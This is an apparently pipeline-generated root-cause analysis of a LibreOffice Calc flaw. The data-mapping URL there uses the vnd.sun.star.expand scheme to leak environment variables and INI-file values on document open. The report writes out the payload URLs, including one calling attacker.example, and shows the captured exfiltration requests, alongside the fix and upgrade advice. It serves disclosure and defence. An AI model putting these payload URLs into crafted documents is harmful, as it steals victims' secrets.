# CVE-2026-63270 — Root Cause Analysis

## Summary

LibreOffice Calc's external data-mapping feature (`calcext:data-mappings`, used by the csv/html/xml/sql "Data Provider" sources) accepts attacker-controlled URLs from a document. In LibreOffice 26.2 up to (and excluding) 26.2.5, the csv data provider fetches such a URL at document-load time without verifying that the URL does not use LibreOffice-internal schemes. A crafted spreadsheet can therefore carry a data-mapping URL like `vnd.sun.star.expand:http://attacker.example/?x=${SECRET_ENV_VAR}` (or `${file\:///path/to/ini.ini:Section:Key}`); when the victim opens the document, the `vnd.sun.star.expand` content provider expands the embedded macro against the *victim's* environment variables and INI/config files, and the resulting URL — now carrying the secret values — is fetched from the remote (attacker) server. The check added for CVE-2024-12426 did not cover the Calc data-provider fetch path, so the expansion was still reachable from document content.

## Impact

- **Package/component affected**: `sc/source/ui/dataprovider/dataprovider.cxx` (`DataProvider::FetchStreamFromURL`, used by `sc/source/ui/dataprovider/csvdataprovider.cxx`), plus `sc/source/ui/dataprovider/sqldataprovider.cxx`, `sc/source/core/tool/webservicelink.cxx`, and `forms/source/xforms/model.cxx` (XForms instance data), all reached through document-supplied URLs.
- **Affected versions**: LibreOffice 26.2 before 26.2.5 (verified on the official TDF builds 26.2.4.2 and 26.2.5.2).
- **Risk level / consequences**: CWE-200 exposure of sensitive information (CVSS 4.0 6.7 MEDIUM). Opening a document silently discloses process environment variables (e.g. tokens, paths) and arbitrary INI/TOML/`.env`-style file values to a remote server. No user interaction beyond opening the document; works in headless conversion scenarios too.

## Impact Parity

- **Disclosed/claimed maximum impact**: environment-variable and INI-file values expanded into a document-supplied URL and sent to a remote server on document open (info leak / CWE-200).
- **Reproduced impact from this run**: full parity — on opening the crafted `.fods`, the vulnerable product (26.2.4.2) expanded `${PRUVA63270_SECRET}` (process environment variable) and `${file\:///…/secret.ini:Secrets:Token}` (INI-file value) and delivered both expanded values to the attacker-controlled HTTP server in two independent fresh processes; the fixed product (26.2.5.2) delivered nothing.
- **Parity**: `full`.
- **Not demonstrated**: nothing further — the claim is an info leak and both halves (env var and INI value) were exfiltrated end-to-end.

## Root Cause

`ScXMLMappingContext` (ODF import, `sc/source/filter/xml/xmlmappingi.cxx`) reads `calcext:data-mapping` entries from the document and, at context destruction (i.e. during document load), calls `sc::ExternalDataSource::refresh()`, which creates the named provider (`org.libreoffice.calc.csv` → `CSVDataProvider`) and calls `DataProvider::FetchStreamFromURL(maURL, …)`. In the vulnerable version that function performs **no scheme validation**:

```cpp
std::unique_ptr<SvStream> DataProvider::FetchStreamFromURL(const OUString& rURL, OStringBuffer& rBuffer)
{
    try {
        // opens ANY url, including vnd.sun.star.expand:...
        xStream = xFileAccess->openFileRead( rURL );
```

`openFileRead` goes through UCB, whose `ExpandContentProvider` (`ucb/source/ucp/expand/ucpexpand.cxx`) handles the `vnd.sun.star.expand:` scheme by macro-expanding the remainder of the URL (`util::theMacroExpander` → `rtl_bootstrap_expandMacros_from_handle`). The bootstrap macro language supports:
- `${NAME}` → looked up via `Bootstrap_Impl::getAmbienceValue` → `osl_getEnvironment` (process environment variable),
- `${ini_file:Section:Key}` → `osl::Profile(ini_file).readString(...)` (arbitrary INI-like file read).

The expanded result (e.g. `http://attacker/?token=SECRET-VALUE`) is then opened as a real URL, exfiltrating the value.

The fix for CVE-2024-12426 (24.8.4) added "internal scheme" checks only in other code paths; the Calc data providers, the WEBSERVICE-function link, and XForms instance data still fed document-supplied URLs straight to UCB.

**Fix commit** (in 26.2.5): `c3355f20dcd5956116819ae4f2f843014407cf4d` — "don't bother loading exotic protocols for document-supplied data" — adds `INetURLObject(sURL).IsExoticProtocol()` refusal checks in `forms/source/xforms/model.cxx` (`Model::loadInstance`), `sc/source/core/tool/webservicelink.cxx`, `sc/source/ui/dataprovider/dataprovider.cxx` (`FetchStreamFromURL`), and `sc/source/ui/dataprovider/sqldataprovider.cxx`. `INetURLObject::IsExoticProtocol()` (tools/source/fsys/urlobj.cxx) classifies `vnd.sun.star.expand` as an exotic/internal scheme. Related hardening in the same release: `49c3c4e59c48` puts data mappings under link-update control, and `a6fb1b10bb1a` restricts providers on document load.

## Reproduction Steps

1. Script: `bundle/repro/reproduction_steps.sh` (self-contained; run with `bash`).
2. What it does:
   - Installs missing X/GLib runtime libraries, downloads the official TDF builds `LibreOffice_26.2.4.2` (vulnerable) and `LibreOffice_26.2.5.2` (fixed control) `Linux_x86-64_deb.tar.gz` from `downloadarchive.documentfoundation.org` (checksum-pinned) and unpacks them.
   - Starts a local HTTP listener (the stand-in for the attacker's remote exfiltration server) on an ephemeral loopback port and health-checks it.
   - Crafts, per attempt, a flat-ODS spreadsheet containing two `calcext:data-mapping` entries (`org.libreoffice.calc.csv` provider): one URL `vnd.sun.star.expand:http://127.0.0.1:PORT/env?token=${PRUVA63270_SECRET}` and one URL `vnd.sun.star.expand:http://127.0.0.1:PORT/ini?value=${file\:///…/secret.ini:Secrets:Token}`, each referencing a registered `table:database-range` as required by the import code.
   - Opens the crafted document in the real product with a fresh user profile and a unique per-attempt secret for both the environment variable and the INI file value, in six isolated attempts: two `soffice --headless --convert-to ods` conversions and one direct viewer open (`soffice --headless <doc.fods>`) on the vulnerable 26.2.4.2 build, plus the same two conversion attempts and one direct open on the fixed control 26.2.5.2.
   - Captures the listener's request lines per attempt (finalized per-attempt `exfil-capture.txt`), stops the listener, and writes `bundle/repro/runtime_manifest.json`.
3. Expected evidence: in all three vulnerable attempts (convert and direct open) the listener receives `GET /env?token=<expanded env secret>` and `GET /ini?value=<expanded INI secret>`; in all three fixed attempts the listener receives nothing for those tokens.

## Evidence

- Per-attempt captures: `bundle/repro/proof/<role>/exfil-capture.txt` (plus `crafted.fods`, `secret.ini`), run logs `bundle/logs/attempts/<role>.log`, full listener transcript `bundle/logs/server-access.log`, script log `bundle/logs/reproduction_steps.log`.
- Key excerpt (every vulnerable attempt, convert and direct open alike):
  ```
  GET /env?token=PRUVA-CVE-2026-63270-vulnerable-1-ENV-<hex> HTTP/1.1
  GET /ini?value=PRUVA-CVE-2026-63270-vulnerable-1-INI-<hex> HTTP/1.1
  ```
  Fixed attempts: no matching requests at all (empty per-attempt captures).
- Identity: vulnerable soffice reports `buildid=0229ac93fcf0d7cbc6376066c6f35021cef002dc` (= tag `libreoffice-26.2.4.2`, CVE-affected); fixed control `buildid=cd7284b4cbbfeb507e630c1aac019f4157393acb` (= tag `libreoffice-26.2.5.2`).
- Environment: Ubuntu 26.04 x86_64, product installed from official TDF debs, headless Calc open/convert path (`--convert-to ods`) as the document-open entry point.

## Recommendations / Next Steps

- Upgrade to LibreOffice ≥ 26.2.5 (or 26.8.0), where document-supplied URLs with internal schemes (`vnd.sun.star.expand` etc.) are refused by `IsExoticProtocol()` checks at every document-supplied-URL sink, and data mappings refresh only under explicit link-update control.
- Defense-in-depth: treat all document-supplied URLs as untrusted input at a single, central validation point (allow-list of external schemes) rather than per-sink checks; consider not resolving macros for any document-origin URL.
- Testing: the upstream `sc/qa/unit/data/dataprovider/mappinggate.fods` style documents can be extended with `vnd.sun.star.expand:` mapping URLs to assert they are refused on load in both the csv and sql providers and in XForms instance data.

## Additional Notes

- Idempotency: the script is re-runnable; cached tarballs are checksum-verified and reused, per-attempt proof dirs are recreated, and a fresh listener port is chosen each run. It was executed twice consecutively with identical confirming results (all vulnerable attempts leaked both values, all fixed attempts leaked nothing, exit 0 both times).
- The XForms instance-data variant (also fixed by `c3355f20dcd5`) was not separately reproduced; the Calc csv data-provider path (`calcext:data-mappings`) is one of the two named document surfaces and fully demonstrates the vulnerability class.
- The INI exfiltration requires the `file\:///` (escaped file-URL) macro form because `osl_openProfile` expects a file URL; a plain path silently expands to empty.
- Exfiltration target is a loopback listener standing in for the attacker server; the fetch itself is a plain outbound HTTP request, so a real remote host behaves identically.
